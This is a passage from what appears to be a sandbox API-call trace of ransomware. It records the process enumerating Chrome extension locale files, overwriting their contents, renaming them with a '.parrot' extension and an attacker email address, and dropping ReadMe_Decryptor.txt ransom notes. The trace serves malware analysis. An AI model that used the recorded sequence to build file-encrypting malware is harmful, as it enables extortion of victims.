[0069.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0069.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0069.301] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.301] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.301] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.301] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.301] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.301] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.301] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0069.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.357] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x279, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.357] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.357] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.358] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.359] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x161, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x161, lpOverlapped=0x0) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0069.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0069.359] GetLastError () returned 0x0 [0069.359] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0069.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0069.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0069.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0069.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0069.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0069.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0069.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0069.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0069.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0069.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0069.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0069.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0069.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0069.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0069.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0069.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0069.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0069.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d04c0 [0069.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0069.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d9a20 [0069.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04c0 | out: hHeap=0x5b0000) returned 1 [0069.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d04c0 [0069.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9a20 | out: hHeap=0x5b0000) returned 1 [0069.360] WriteFile (in: hFile=0x270, lpBuffer=0x5d04c0*, nNumberOfBytesToWrite=0x288, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d04c0*, lpNumberOfBytesWritten=0x18da44*=0x288, lpOverlapped=0x0) returned 1 [0069.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04c0 | out: hHeap=0x5b0000) returned 1 [0069.361] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x279, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.361] CloseHandle (hObject=0x270) returned 1 [0069.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d04c0 [0069.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d9a20 [0069.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04c0 | out: hHeap=0x5b0000) returned 1 [0069.362] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9a20 | out: hHeap=0x5b0000) returned 1 [0069.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0069.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01e8 | out: hHeap=0x5b0000) returned 1 [0069.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0069.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9b48 [0069.362] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0069.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0069.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0069.363] GetFileType (hFile=0x270) returned 0x1 [0069.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0069.373] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.373] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6d3d180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6d3d180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.374] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6d3d180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.374] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0069.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0069.436] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.437] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.437] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.437] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.437] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.437] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0069.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.437] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22f, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.437] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.437] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.438] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.438] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x117, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x117, lpOverlapped=0x0) returned 1 [0069.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0069.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0069.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0069.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0069.438] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0069.438] GetLastError () returned 0x0 [0069.439] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d03d0 [0069.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0069.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x238) returned 0x5d0518 [0069.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03d0 | out: hHeap=0x5b0000) returned 1 [0069.440] WriteFile (in: hFile=0x28c, lpBuffer=0x5d0518*, nNumberOfBytesToWrite=0x238, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0518*, lpNumberOfBytesWritten=0x18da44*=0x238, lpOverlapped=0x0) returned 1 [0069.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0069.440] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.440] CloseHandle (hObject=0x28c) returned 1 [0069.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d03d0 [0069.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0518 [0069.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03d0 | out: hHeap=0x5b0000) returned 1 [0069.443] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0069.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0069.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0069.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0069.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9b48 [0069.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0069.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0069.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0069.448] GetFileType (hFile=0x28c) returned 0x1 [0069.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0069.459] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.459] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb6dfb860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb6dfb860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.460] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6dfb860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0069.460] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0069.460] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.460] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.460] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.460] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.460] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.460] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, 